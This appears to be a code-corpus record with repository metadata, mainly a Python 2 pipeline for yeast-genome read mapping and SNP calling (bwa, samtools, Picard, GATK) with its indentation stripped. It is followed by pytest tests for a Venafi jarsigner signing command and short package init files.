Authors: David Peris UW-Madison, Dept Genetics & IATA-CSIC
"""
parser = argparse.ArgumentParser(description=helptext,formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-i","--input", help="A tab tabulated text file with StrainName and read paths", type = str, default = None)
parser.add_argument("-t","--threads", help="Number of CPUs to be used, default 8", type = str, default = "8")
parser.add_argument("-q","--quality", help="Quality of mapping threshold, default 30", type = str, default = "30")
parser.add_argument("-r","--reference", help="Reference Genome path to map the reads", type = str, default = None)
parser.add_argument("-m","--maskText", help="Text File that will be used by maskCov_FASTA_byStrain-d_v2.1.py, default chromosome.txt", type = str, default = "chromosome.txt")
parser.add_argument("-W","--windowRHET", help="Window size to get the plots of Heterozygosity values, default is 10000 bp", type = str, default = "10000")
parser.add_argument("-p","--prefix", help="the prefix name added to the final alignment", type = str, default = "SNP")
parser.set_defaults(spades=True)
args = parser.parse_args()
GenomePath = args.reference
failed_strains = open("failed_strains.txt",'w')
failed_strains.write("Strains not parsed through the pipeline\n")
FOLDER2REFERENCE = GenomePath[:-len(GenomePath.split('/')[-1])]
Reference_StrainName = GenomePath.split('/')[-1].split('.')[0]
list_of_unambiguous_sequences = []
#Step to generate the text file that will be used in maskCov_FASTA_byStrain-d_v2.1.py
Chromosome_TextFile = open(args.maskText, "w")
for index, record in enumerate(SeqIO.parse(GenomePath,"fasta")):
Chromosome_TextFile.write(record.id+"\n")
Chromosome_TextFile.close()
if not os.path.exists(GenomePath+'.amb'): #Generates the bwa index
bwa_cm1 = "bwa index -a is " + GenomePath
print "bwa_cm1:"+bwa_cm1
os.system(bwa_cm1)
if not os.path.isfile(FOLDER2REFERENCE + Reference_StrainName + ".dict"): #Generates the picard dictionary
picard_cm3 = "/opt/bifxapps/jre7/bin/java -jar /opt/bifxapps/picard-tools-1.98/CreateSequenceDictionary.jar R=" + GenomePath +" O=" + FOLDER2REFERENCE + Reference_StrainName + ".dict"
print "picard_cm3:"+picard_cm3
os.system(picard_cm3)
if not os.path.isfile(GenomePath+'.fai'): #Generates the samtools index
samtools_cm3 = "samtools faidx " + GenomePath
print "samtools_cm3:"+samtools_cm3
os.system(samtools_cm3)
info_path = open(args.input, 'r')
list_trains = []
for line in info_path:
line = line.split('\t')[0]
list_trains.append(line)
info_path.close()
list_trains_unique = []
for i in list_trains:
if not i in list_trains_unique:
globals()[i+"_counterLoop"] = 1
globals()[i+"_accumulated_samtools_cm4"] = ""
list_trains_unique.append(i)
for i in list_trains_unique:
globals()[i] = list_trains.count(i)
print i+" has:"+str(globals()[i])+" libraries"
info_path = open(args.input, 'r')
for line in info_path:
line = line.split('\t')
StrainName = line[0]
Reads = line[1].split('\n')[0]
Read1 = Reads.replace('*','1')
Read2 = Reads.replace('*','2')
#Section when just one library#
if globals()[StrainName] == 1:
print "=======================Starting pipeline %s========================" % (StrainName)
print "=======================%s Library========================" % (globals()[StrainName])
if not os.path.exists(StrainName + '/'):
os.makedirs(StrainName)
if not os.path.exists(StrainName + '/' + StrainName + '_SNP'):
os.makedirs(StrainName + '/' + StrainName + '_SNP')
if os.path.isfile(Read2):
bwa_cm2 = "bwa mem -t " + args.threads + " " + GenomePath + ' ' + Read1 + " " + Read2 + " > " + StrainName + '/' + StrainName + '_SNP/' + StrainName + ".sam"
print "bwa_cm2:"+bwa_cm2
os.system(bwa_cm2)
else:
if os.path.isfile(Read1):
bwa_cm2 = "bwa mem -t " + args.threads + " " + GenomePath + ' ' + Read1 + " > " + StrainName + '/' + StrainName + '_SNP/' + StrainName + ".sam"
print "bwa_cm2:"+bwa_cm2
os.system(bwa_cm2)
else:
FOLDER2READ = Reads[:-len(Reads.split('/')[-1])]
Read1 = glob.glob(FOLDER2READ+"*q")[0]
bwa_cm2 = "bwa mem -t " + args.threads + " " + GenomePath + ' ' + Read1 + " > " + StrainName + '/' + StrainName + '_SNP/' + StrainName + ".sam"
print "bwa_cm2:"+bwa_cm2
os.system(bwa_cm2)
samtools_cm1 = "samtools view -q " + args.quality + " -bhSu " + StrainName + '/' + StrainName + '_SNP/' + StrainName + ".sam > " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_view.sam"
print "samtools_cm1:"+samtools_cm1
os.system(samtools_cm1)
samtools_cm2 = "samtools sort -@ " + args.threads + " " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_view.sam -o " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_sort.bam"
print "samtools_cm2:"+samtools_cm2
os.system(samtools_cm2)
picard_cm1 = "/opt/bifxapps/jre7/bin/java -jar /opt/bifxapps/picard-tools-1.98/MarkDuplicates.jar I=" + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_sort.bam O="
picard_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup.bam M=" + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_picard-metrics.txt "
picard_cm1 += "REMOVE_DUPLICATES=true AS=true VALIDATION_STRINGENCY=SILENT"
print "picard_cm1:"+picard_cm1
os.system(picard_cm1)
picard_cm2 = "/opt/bifxapps/jre7/bin/java -jar /opt/bifxapps/picard-tools-1.98/AddOrReplaceReadGroups.jar I=" + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup.bam O="
picard_cm2 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup-ready.bam RGLB=runPEa RGPL=illumina RGSM=" + StrainName + " VALIDATION_STRINGENCY=SILENT SORT_ORDER=coordinate CREATE_INDEX=true RGPU=plateXXX"
print "picard_cm2:"+picard_cm2
os.system(picard_cm2)
gatk_cm1 = "/opt/bifxapps/jre7/bin/java -jar /opt/bifxapps/gatk3/GenomeAnalysisTK.jar -T HaplotypeCaller -R " + GenomePath + " -I "
gatk_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup-ready.bam --genotyping_mode DISCOVERY -mbq 20 -stand_emit_conf 31 -stand_call_conf 31 -o "
gatk_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_variants.vcf"
print "gatk_cm1:"+gatk_cm1
os.system(gatk_cm1)
if os.path.isfile(StrainName + '/' + StrainName + '_SNP/' + StrainName + "_variants.vcf"):
VCF2FASTA_cm1 = "python ~/software/scripts/VCF-FASTAconvert.py " + GenomePath + " " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_variants.vcf " + StrainName + '/' + StrainName + "_" + args.prefix
print "VCF2FASTA_cm1:"+VCF2FASTA_cm1
os.system(VCF2FASTA_cm1)
getHeterozygousSites_cm1 = "python ~/software/scripts/getHeterozygousSites-VCF.py " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_variants.vcf "
getHeterozygousSites_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_HTZInfo"
print "getHeterozygousSites_cm1:"+getHeterozygousSites_cm1
os.system(getHeterozygousSites_cm1)
plot_heterozygosity_cm1 = "Rscript ~/software/scripts/heterozygosityAverager+Plot.R " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_HTZInfo_genotype.txt "
plot_heterozygosity_cm1 += args.windowRHET + " " + StrainName + '/' + StrainName + '_SNP/'
print "plot_heterozygosity_cm1:"+plot_heterozygosity_cm1
os.system(plot_heterozygosity_cm1)
bedgraph_cm1 = "/opt/bifxapps/bedtools2-2.27.0/genomeCoverageBed -d -ibam " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup-ready.bam > " + StrainName + '/' + StrainName + '_SNP/' + StrainName + ".bedgraph"
print "bedgraph_cm1:"+bedgraph_cm1
os.system(bedgraph_cm1)
DepthQuantiles_cm1 = "Rscript ~/software/scripts/depthQuantile_forMasking_byStrain_d.R " + StrainName + '/' + StrainName + '_SNP/' + StrainName
print "DepthQuantiles_cm1:"+DepthQuantiles_cm1
os.system(DepthQuantiles_cm1)
MaskByCov_cm1 = "python ~/software/scripts/maskCov_FASTA_byStrain-d_v2.1.py " + StrainName + '/' + StrainName + '_SNP/' + StrainName + ".cov " + args.maskText + " "
MaskByCov_cm1 += StrainName + '/' + StrainName + "_" + args.prefix + ".fasta " + GenomePath + ' pairwiseDivFile_chromosome.txt'
print "MaskByCov_cm1:"+MaskByCov_cm1
os.system(MaskByCov_cm1)
unambiguous_cm1 = "python ~/software/scripts/FASTAremove_ambig_byStrain_v2.py " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_covMasked.fasta "
unambiguous_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_unambiguous.fasta"
print "unambiguous_cm1:"+unambiguous_cm1
os.system(unambiguous_cm1)
list_of_unambiguous_sequences.append(StrainName + '/' + StrainName + '_SNP/' + StrainName + "_unambiguous.fasta")
else:
failed_strains.write(StrainName+'\n')
elif globals()[StrainName] > 1 and globals()[StrainName+"_counterLoop"] <= globals()[StrainName]:
print "=======================%s Library========================" % (globals()[StrainName+"_counterLoop"])
if not os.path.exists(StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/'):
os.makedirs(StrainName + "_" + str(globals()[StrainName+"_counterLoop"]))
if not os.path.exists(StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP'):
os.makedirs(StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP')
if os.path.isfile(Read2):
bwa_cm2 = "bwa mem -t " + args.threads + " " + GenomePath + ' ' + Read1 + " " + Read2 + " > " + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + ".sam"
print "bwa_cm2:"+bwa_cm2
os.system(bwa_cm2)
else:
if os.path.isfile(Read1):
bwa_cm2 = "bwa mem -t " + args.threads + " " + GenomePath + ' ' + Read1 + " > " + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + ".sam"
print "bwa_cm2:"+bwa_cm2
os.system(bwa_cm2)
else:
FOLDER2READ = Reads[:-len(Reads.split('/')[-1])]
Read1 = glob.glob(FOLDER2READ+"*q")[0]
bwa_cm2 = "bwa mem -t " + args.threads + " " + GenomePath + ' ' + Read1 + " > " + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + ".sam"
print "bwa_cm2:"+bwa_cm2
os.system(bwa_cm2)
samtools_cm1 = "samtools view -q " + args.quality + " -bhSu " + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + ".sam > " + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + "_view.sam"
print "samtools_cm1:"+samtools_cm1
os.system(samtools_cm1)
samtools_cm2 = "samtools sort -@ " + args.threads + " " + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + "_view.sam -o " + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + "_sort.bam"
print "samtools_cm2:"+samtools_cm2
os.system(samtools_cm2)
globals()[StrainName+"_accumulated_samtools_cm4"] += StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + '_SNP/' + StrainName + "_" + str(globals()[StrainName+"_counterLoop"]) + "_sort.bam "
print globals()[StrainName+"_accumulated_samtools_cm4"]
globals()[StrainName+"_counterLoop"] += 1
if globals()[StrainName] > 1 and globals()[StrainName+"_counterLoop"] > globals()[StrainName]:
print "=======================Finally Merging Mappings %s Libraries========================" % (globals()[StrainName])
print globals()[StrainName]
print globals()[StrainName+"_counterLoop"]
if not os.path.exists(StrainName + '/'):
os.makedirs(StrainName)
if not os.path.exists(StrainName + '/' + StrainName + '_SNP'):
os.makedirs(StrainName + '/' + StrainName + '_SNP')
samtools_cm4 = "samtools merge " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_sort.bam " + str(globals()[StrainName+"_accumulated_samtools_cm4"])
print "samtools_cm4:"+samtools_cm4
os.system(samtools_cm4)
picard_cm1 = "/opt/bifxapps/jre7/bin/java -jar /opt/bifxapps/picard-tools-1.98/MarkDuplicates.jar I=" + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_sort.bam O="
picard_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup.bam M=" + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_picard-metrics.txt "
picard_cm1 += "REMOVE_DUPLICATES=true AS=true VALIDATION_STRINGENCY=SILENT"
print "picard_cm1:"+picard_cm1
os.system(picard_cm1)
picard_cm2 = "/opt/bifxapps/jre7/bin/java -jar /opt/bifxapps/picard-tools-1.98/AddOrReplaceReadGroups.jar I=" + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup.bam O="
picard_cm2 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup-ready.bam RGLB=runPEa RGPL=illumina RGSM=" + StrainName + " VALIDATION_STRINGENCY=SILENT SORT_ORDER=coordinate CREATE_INDEX=true RGPU=plateXXX"
print "picard_cm2:"+picard_cm2
os.system(picard_cm2)
gatk_cm1 = "/opt/bifxapps/jre7/bin/java -jar /opt/bifxapps/gatk3/GenomeAnalysisTK.jar -T HaplotypeCaller -R " + GenomePath + " -I "
gatk_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup-ready.bam --genotyping_mode DISCOVERY -mbq 20 -stand_emit_conf 31 -stand_call_conf 31 -o "
gatk_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_variants.vcf"
print "gatk_cm1:"+gatk_cm1
os.system(gatk_cm1)
if os.path.isfile(StrainName + '/' + StrainName + '_SNP/' + StrainName + "_variants.vcf"):
VCF2FASTA_cm1 = "python ~/software/scripts/VCF-FASTAconvert.py " + GenomePath + " " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_variants.vcf " + StrainName + '/' + StrainName + "_" + args.prefix
print "VCF2FASTA_cm1:"+VCF2FASTA_cm1
os.system(VCF2FASTA_cm1)
getHeterozygousSites_cm1 = "python ~/software/scripts/getHeterozygousSites-VCF.py " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_variants.vcf "
getHeterozygousSites_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_HTZInfo"
print "getHeterozygousSites_cm1:"+getHeterozygousSites_cm1
os.system(getHeterozygousSites_cm1)
plot_heterozygosity_cm1 = "Rscript ~/software/scripts/heterozygosityAverager+Plot.R " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_HTZInfo_genotype.txt "
plot_heterozygosity_cm1 += args.windowRHET + " " + StrainName + '/' + StrainName + '_SNP/'
print "plot_heterozygosity_cm1:"+plot_heterozygosity_cm1
os.system(plot_heterozygosity_cm1)
bedgraph_cm1 = "/opt/bifxapps/bedtools2-2.27.0/genomeCoverageBed -d -ibam " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_dedup-ready.bam > " + StrainName + '/' + StrainName + '_SNP/' + StrainName + ".bedgraph"
print "bedgraph_cm1:"+bedgraph_cm1
os.system(bedgraph_cm1)
DepthQuantiles_cm1 = "Rscript ~/software/scripts/depthQuantile_forMasking_byStrain_d.R " + StrainName + '/' + StrainName + '_SNP/' + StrainName
print "DepthQuantiles_cm1:"+DepthQuantiles_cm1
os.system(DepthQuantiles_cm1)
MaskByCov_cm1 = "python ~/software/scripts/maskCov_FASTA_byStrain-d_v2.1.py " + StrainName + '/' + StrainName + '_SNP/' + StrainName + ".cov " + args.maskText + " "
MaskByCov_cm1 += StrainName + '/' + StrainName + "_" + args.prefix + ".fasta " + GenomePath + ' pairwiseDivFile_chromosome.txt'
print "MaskByCov_cm1:"+MaskByCov_cm1
os.system(MaskByCov_cm1)
unambiguous_cm1 = "python ~/software/scripts/FASTAremove_ambig_byStrain_v2.py " + StrainName + '/' + StrainName + '_SNP/' + StrainName + "_covMasked.fasta "
unambiguous_cm1 += StrainName + '/' + StrainName + '_SNP/' + StrainName + "_unambiguous.fasta"
print "unambiguous_cm1:"+unambiguous_cm1
os.system(unambiguous_cm1)
list_of_unambiguous_sequences.append(StrainName + '/' + StrainName + '_SNP/' + StrainName + "_unambiguous.fasta")
else:
failed_strains.write(StrainName+'\n')
failed_strains.close()
list_of_unambiguous_sequences.append(GenomePath)
outputTextFile_list = open("list_of_fastas.txt",'w')
for StrainFasta in list_of_unambiguous_sequences:
outputTextFile_list.write(StrainFasta+"\n")
outputTextFile_list.close()
strain_chr_fastaUnambig_cm1 = "python ~/software/scripts/strain-chr-fastaUnambig.py list_of_fastas.txt " + args.maskText
print "strain_chr_fastaUnambig_cm1:"+strain_chr_fastaUnambig_cm1
os.system(strain_chr_fastaUnambig_cm1)
combineAllFASTA_cm1 = "python ~/software/scripts/combineAllFASTA_suffix.py list_of_fastas.txt AllGenomes"
print "combineAllFASTA_cm1:"+combineAllFASTA_cm1
os.system(combineAllFASTA_cm1)
print "DONE!"
| 67.660305
| 499
| 0.690416
| 2,036
| 17,727
| 5.77554
| 0.140472
| 0.095246
| 0.101709
| 0.129093
| 0.770474
| 0.743005
| 0.720725
| 0.702101
| 0.702101
| 0.694447
| 0
| 0.018777
| 0.134766
| 17,727
| 261
| 500
| 67.91954
| 0.747881
| 0.012862
| 0
| 0.57265
| 0
| 0.034188
| 0.323938
| 0.120119
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.025641
| null | null | 0.192308
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
209bcc7136e45237b3ef4f72a6a5d6341d1f6455
| 31
|
py
|
Python
|
ofdft_ml/statslib/data_loader/__init__.py
|
HamletWantToCode/ofdft-ml
|
4115405b6f530cdf8956d0b5b353569ce7c09496
|
[
"MIT"
] | 6
|
2019-01-16T07:00:27.000Z
|
2022-03-18T07:09:25.000Z
|
ofdft_ml/statslib/data_loader/__init__.py
|
HamletWantToCode/ofdft-ml
|
4115405b6f530cdf8956d0b5b353569ce7c09496
|
[
"MIT"
] | null | null | null |
ofdft_ml/statslib/data_loader/__init__.py
|
HamletWantToCode/ofdft-ml
|
4115405b6f530cdf8956d0b5b353569ce7c09496
|
[
"MIT"
] | null | null | null |
from .dataloader import Dataset
| 31
| 31
| 0.870968
| 4
| 31
| 6.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.096774
| 31
| 1
| 31
| 31
| 0.964286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 1
| 0
| null | 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
20eb0a186ef36f16b32ac0c98a703bfa733a0d35
| 8,002
|
py
|
Python
|
test/test_jarsigner_sign_command.py
|
fullstaq-labs/venafi-codesigning-gitlab
|
0799ce7e6b74c8d1836a01b509dc5f50541356b3
|
[
"Apache-2.0"
] | null | null | null |
test/test_jarsigner_sign_command.py
|
fullstaq-labs/venafi-codesigning-gitlab
|
0799ce7e6b74c8d1836a01b509dc5f50541356b3
|
[
"Apache-2.0"
] | 1
|
2021-07-12T09:06:53.000Z
|
2021-07-12T09:06:53.000Z
|
test/test_jarsigner_sign_command.py
|
fullstaq-labs/venafi-codesigning-gitlab
|
0799ce7e6b74c8d1836a01b509dc5f50541356b3
|
[
"Apache-2.0"
] | null | null | null |
from venafi_codesigning_gitlab_integration.jarsigner_sign_command import JarsignerSignConfig
from venafi_codesigning_gitlab_integration.jarsigner_sign_command import JarsignerSignCommand
from venafi_codesigning_gitlab_integration import utils
import pytest
import logging
import subprocess
import os
import re
fake_tpp_config = {
'tpp_auth_url': 'http://tpp/auth',
'tpp_hsm_url': 'http://tpp/hsm',
'tpp_username': 'user',
'tpp_password': 'pass',
}
def test_successful_signing_session(monkeypatch, caplog):
caplog.set_level(logging.INFO)
config = JarsignerSignConfig(
certificate_label='my cert',
input_path='foo.jar',
**fake_tpp_config
)
def mock_subprocess_run(*args, **kwargs):
return subprocess.CompletedProcess(args=[], returncode=0, stdout='')
monkeypatch.setattr(subprocess, 'run', mock_subprocess_run)
command = JarsignerSignCommand(logging.getLogger(), config)
command.run()
getgrant_line = (
r"/pkcs11config getgrant --force --authurl=http://tpp/auth --hsmurl=http://tpp/hsm "
r"--username=user --password '\*\*\*'$"
)
assert re.search(getgrant_line, caplog.text, re.MULTILINE)
assert 'Successfully obtained grant from TPP' in caplog.text
jarsigner_line = (
r"jarsigner -verbose -keystore NONE -storetype PKCS11 -storepass none "
r"-providerclass sun\.security\.pkcs11\.SunPKCS11 -providerArg .*/pkcs11-provider\.conf "
r"-certs foo\.jar 'my cert'$"
)
assert re.search(jarsigner_line, caplog.text, re.MULTILINE)
assert "Successfully signed 'foo.jar'" in caplog.text
revokegrant_line = r"/pkcs11config revokegrant -force -clear$"
assert re.search(revokegrant_line, caplog.text, re.MULTILINE)
assert 'Successfully revoked server grant' in caplog.text
def test_tpp_login_error(monkeypatch, caplog):
caplog.set_level(logging.INFO)
config = JarsignerSignConfig(
certificate_label='my cert',
input_path='foo.jar',
**fake_tpp_config
)
def mock_subprocess_run(*args, **kwargs):
if args[0][1] == 'getgrant':
return subprocess.CompletedProcess(
args=[], returncode=1, stdout='')
else:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout='')
monkeypatch.setattr(subprocess, 'run', mock_subprocess_run)
command = JarsignerSignCommand(logging.getLogger(), config)
with pytest.raises(utils.AbortException):
command.run()
assert 'Error requesting grant from TPP' in caplog.text
assert 'Logging out of TPP' in caplog.text
def test_tpp_logout_error(monkeypatch, caplog):
caplog.set_level(logging.INFO)
config = JarsignerSignConfig(
certificate_label='my cert',
input_path='foo.jar',
**fake_tpp_config
)
def mock_subprocess_run(*args, **kwargs):
if args[0][1] == 'revokegrant':
return subprocess.CompletedProcess(
args=[], returncode=1, stdout='')
else:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout='')
monkeypatch.setattr(subprocess, 'run', mock_subprocess_run)
command = JarsignerSignCommand(logging.getLogger(), config)
command.run()
assert 'Error revoking grant from TPP' in caplog.text
def test_jarsigner_error(monkeypatch, caplog):
caplog.set_level(logging.INFO)
config = JarsignerSignConfig(
certificate_label='my cert',
input_path='foo.jar',
**fake_tpp_config
)
def mock_subprocess_run(*args, **kwargs):
if args[0][0] == 'jarsigner':
return subprocess.CompletedProcess(
args=[], returncode=1, stdout='')
else:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout='')
monkeypatch.setattr(subprocess, 'run', mock_subprocess_run)
command = JarsignerSignCommand(logging.getLogger(), config)
with pytest.raises(utils.AbortException):
command.run()
assert "Error signing 'foo.jar': command exited with code 1" in caplog.text
assert 'Logging out of TPP' in caplog.text
def test_input_glob(monkeypatch, caplog, tmpdir):
caplog.set_level(logging.INFO)
config = JarsignerSignConfig(
certificate_label='my cert',
input_glob=os.path.join(tmpdir, '*.jar'),
**fake_tpp_config
)
a_jar_path = os.path.join(tmpdir, 'a.jar')
b_jar_path = os.path.join(tmpdir, 'b.jar')
c_txt_path = os.path.join(tmpdir, 'c.txt')
open(a_jar_path, 'w').close()
open(b_jar_path, 'w').close()
open(c_txt_path, 'w').close()
def mock_subprocess_run(*args, **kwargs):
return subprocess.CompletedProcess(args=[], returncode=0, stdout='')
monkeypatch.setattr(subprocess, 'run', mock_subprocess_run)
command = JarsignerSignCommand(logging.getLogger(), config)
command.run()
assert len(re.findall(r'jarsigner -verbose', caplog.text)) == 2
jarsigner_line = (
r"jarsigner -verbose -keystore NONE -storetype PKCS11 -storepass none "
r"-providerclass sun\.security\.pkcs11\.SunPKCS11 -providerArg .*/pkcs11-provider\.conf "
r"-certs %s 'my cert'$"
) % (a_jar_path,)
assert re.search(jarsigner_line, caplog.text, re.MULTILINE)
jarsigner_line = (
r"jarsigner -verbose -keystore NONE -storetype PKCS11 -storepass none "
r"-providerclass sun\.security\.pkcs11\.SunPKCS11 -providerArg .*/pkcs11-provider\.conf "
r"-certs %s 'my cert'$"
) % (b_jar_path,)
assert re.search(jarsigner_line, caplog.text, re.MULTILINE)
def test_timestamping_servers(monkeypatch, caplog):
caplog.set_level(logging.INFO)
config = JarsignerSignConfig(
certificate_label='my cert',
input_path='foo.jar',
timestamping_servers=['timestamp1.com'],
**fake_tpp_config
)
def mock_subprocess_run(*args, **kwargs):
return subprocess.CompletedProcess(args=[], returncode=0, stdout='')
monkeypatch.setattr(subprocess, 'run', mock_subprocess_run)
command = JarsignerSignCommand(logging.getLogger(), config)
command.run()
jarsigner_line = (
r"jarsigner -verbose -keystore NONE -storetype PKCS11 -storepass none "
r"-providerclass sun\.security\.pkcs11\.SunPKCS11 -providerArg .*/pkcs11-provider\.conf "
r"-certs -tsa timestamp1.com foo\.jar 'my cert'$"
)
assert re.search(jarsigner_line, caplog.text, re.MULTILINE)
def test_extra_args(monkeypatch, caplog):
caplog.set_level(logging.INFO)
config = JarsignerSignConfig(
certificate_label='my cert',
input_path='foo.jar',
extra_args=['-aaaa', '-bbbb'],
**fake_tpp_config
)
def mock_subprocess_run(*args, **kwargs):
return subprocess.CompletedProcess(args=[], returncode=0, stdout='')
monkeypatch.setattr(subprocess, 'run', mock_subprocess_run)
command = JarsignerSignCommand(logging.getLogger(), config)
command.run()
jarsigner_line = (
r"jarsigner -verbose -keystore NONE -storetype PKCS11 -storepass none "
r"-providerclass sun\.security\.pkcs11\.SunPKCS11 -providerArg .*/pkcs11-provider\.conf "
r"-certs -aaaa -bbbb foo\.jar 'my cert'$"
)
assert re.search(jarsigner_line, caplog.text, re.MULTILINE)
def test_venafi_client_tools_dir(monkeypatch, caplog):
caplog.set_level(logging.INFO)
config = JarsignerSignConfig(
certificate_label='my cert',
input_path='foo.jar',
venafi_client_tools_dir='/somewhere/venafi',
**fake_tpp_config
)
def mock_subprocess_run(*args, **kwargs):
return subprocess.CompletedProcess(args=[], returncode=0, stdout='')
monkeypatch.setattr(subprocess, 'run', mock_subprocess_run)
command = JarsignerSignCommand(logging.getLogger(), config)
command.run()
assert '/somewhere/venafi/bin/pkcs11config' in caplog.text
| 33.481172
| 97
| 0.676456
| 905
| 8,002
| 5.816575
| 0.146961
| 0.059271
| 0.051672
| 0.075228
| 0.826558
| 0.809081
| 0.782865
| 0.763108
| 0.763108
| 0.738792
| 0
| 0.010483
| 0.201325
| 8,002
| 238
| 98
| 33.621849
| 0.813175
| 0
| 0
| 0.639344
| 0
| 0.005464
| 0.209823
| 0.03924
| 0
| 0
| 0
| 0
| 0.092896
| 1
| 0.087432
| false
| 0.038251
| 0.043716
| 0.027322
| 0.191257
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
45a8522dedcb5eb9f2989b1034c59beaba43571b
| 93
|
py
|
Python
|
christina/utils/__init__.py
|
guansss/christina
|
e6e8172bd7b0b68bda4f3c13f6427b7f9db4d2ef
|
[
"MIT"
] | null | null | null |
christina/utils/__init__.py
|
guansss/christina
|
e6e8172bd7b0b68bda4f3c13f6427b7f9db4d2ef
|
[
"MIT"
] | null | null | null |
christina/utils/__init__.py
|
guansss/christina
|
e6e8172bd7b0b68bda4f3c13f6427b7f9db4d2ef
|
[
"MIT"
] | null | null | null |
from .eventemitter import *
from .misc import *
from .process import *
from .string import *
| 18.6
| 27
| 0.741935
| 12
| 93
| 5.75
| 0.5
| 0.434783
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.172043
| 93
| 4
| 28
| 23.25
| 0.896104
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
45bcfaeb97ed0ff8e530ddacc88395a26d3c7e57
| 617
|
py
|
Python
|
medimg/dcm/__init__.py
|
arokem/nimsdata
|
9aba149969a4d86d18cf0d731fbd562cc0e8bfeb
|
[
